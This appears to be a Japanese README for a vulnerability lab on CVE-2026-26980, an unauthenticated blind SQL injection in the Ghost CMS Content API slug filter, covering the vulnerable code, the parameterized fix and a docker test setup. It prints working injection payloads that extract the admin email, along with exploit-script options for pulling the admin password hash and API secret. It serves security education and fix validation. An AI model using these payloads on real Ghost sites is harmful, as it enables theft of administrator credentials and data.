
CVE-2026-26980 — Ghost CMS Content API SQLインジェクションラボ(スラッグフィルターの順序による未認証ブラインドSQLi)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQLインジェクション) |
| 影響を受けるバージョン | Ghost 3.24.0 -- 6.19.0 |
| 修正バージョン | Ghost 6.19.1 |
| 認証要件 | なし(Content APIキーは設計上公開) |
| クレジット/参照 | Nicholas Carlini (Claude使用、Anthropic) [https://www.youtube.com/watch?v=1sd26pWhfmg] |
免責事項 — このラボは、許可されたセキュリティテスト、教育、および防御研究のみを目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
GhostのContent APIは、配列構文を使用したスラッグによるタグと投稿のフィルタリングをサポートしています: filter=slug:[tag-a,tag-b]。内部的には、ヘルパー関数が要求されたスラッグ順序を維持するためにORDER BY CASEステートメントを構築します。v6.19.1より前では、ユーザー指定のスラッグ値がパラメータ化なしでこのSQLに直接挿入されていました:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (脆弱)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Content APIキーはすべてのGhostサイトのHTMLに埋め込まれており(data-key="...")、これにより完全に認証不要の攻撃対象となります。
GhostのNQLクエリ言語はフィルタ入力を検証し、生の単一引用符やスペースを拒否します。ただし、NQLは配列構文内の単一引用符で囲まれた値(slug:['value'])を受け入れ、引用符をリテラルの一部として通過させます。slugFilterOrder正規表現はこれらの値を抽出し、引用符を含めてSQLに挿入します:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQLは引用符をリテラル文字として通過させる
挿入後、ORDER BYは次のようになります:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
MySQLのデフォルトのSQLモードでは、||はOR、''は偽値です。これにより、クリーンなブールオラクルが得られます:
| 条件 | CASE結果 | 影響 |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | 通常の応答 (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLEオーバーフローエラー (HTTP 500) |
オラクルが確立されると、標準的な二分探索によるブラインド抽出が適用されます:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
SUBSTR(... FROM pos FOR len)構文は、slugFilterOrderが分割するカンマを回避します。
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





この修正は、文字列挿入をパラメータ化されたバインドに置き換えます:
// 修正済み
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
crud.jsプラグインはorderByRawを通じてバインドをスレッド化するように更新され、@tryghost/bookshelf-pluginsはバインドサポートを追加する0.6.29にバンプされました。
requests付き)# クローンしてラボに入る
git clone <this-repo> && cd ghost-cve-2026-26980
# Python依存関係をインストール
pip install -r requirements.txt
# 脆弱なGhostインスタンスを起動 (6.18.0 + MySQL 8)
docker compose up -d
# Ghostの初期化に約45秒待ってから、エクスプロイトを実行
python3 exploit.py --url http://localhost:2368
# パッチ適用済みのGhost 6.19.1もポート2369で起動
docker compose --profile fixed up -d
# 約45秒待ってから、修正がインジェクションをブロックすることを確認
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (デフォルト: http://localhost:2368)
--validate-fix ターゲットが脆弱でないことを確認
--extract-password 管理者bcryptハッシュも抽出
--extract-api-key 管理者APIシークレットも抽出
--content-key KEY セットアップをスキップし、このContent APIキーを直接使用
-v, --verbose クエリごとのオラクル結果を表示
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Ghostがhttp://localhost:2368で準備できるのを待機中
[*] Ghostをセットアップ中 (admin: [email protected])
[+] セットアップ完了 — セッションを確立中
[+] ログインしました
[+] Content APIキー: ad63c06a71457583ea58f050c1
[+] アンカースラッグ: news
[*] フェーズ1 — ブールブラインド検証
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] ブールオラクル確認済み — 脆弱
[*] フェーズ2a — 管理者メールの抽出
管理者メールの長さを測定中... 21文字
抽出中: [email protected]
[+] メール: [email protected]
============================================================
エクスプロイトサマリー
============================================================
ターゲット: http://localhost:2368
CVE: CVE-2026-26980
Contentキー: ad63c06a71457583ea58f050c1
管理者メール: [email protected]
============================================================
同じリリースで2つ目の脆弱性も修正されました。Ghostの{{#get}} Handlebarsヘルパーは、パス式を解決するためにjsonpathパッケージ(static-evalに依存)を使用していました。悪意のあるテーマは、プロトタイプトラバーサルを介してFunction()に到達する式を作成し、サーバーサイドコード実行を達成できました。
| CVE | CVE-2026-29053 |
| 影響を受けるバージョン | Ghost 0.7.2 -- 6.19.0 |
| 認証 | 管理者(テーマアップロード) |
| 修正 | jsonpathを、ドット記法、[N]、[*]のみをサポートする制限付きquerySimplePath()関数に置き換え |
このラボは、CVE-2026-26980が認証不要であり、外部攻撃者にとってより影響が大きいため、これに焦点を当てています。
.
├── README.md # このファイル
├── docker-compose.yml # Ghost 6.18.0 (脆弱) + 6.19.1 (修正済み) with MySQL 8
├── exploit.py # 完全なPoC: セットアップ、検証、抽出
├── validate.sh # エンドツーエンド検証ラッパー
└── requirements.txt # Python依存関係
このラボは、MITライセンスの下で教育および許可されたセキュリティテスト目的で提供されています。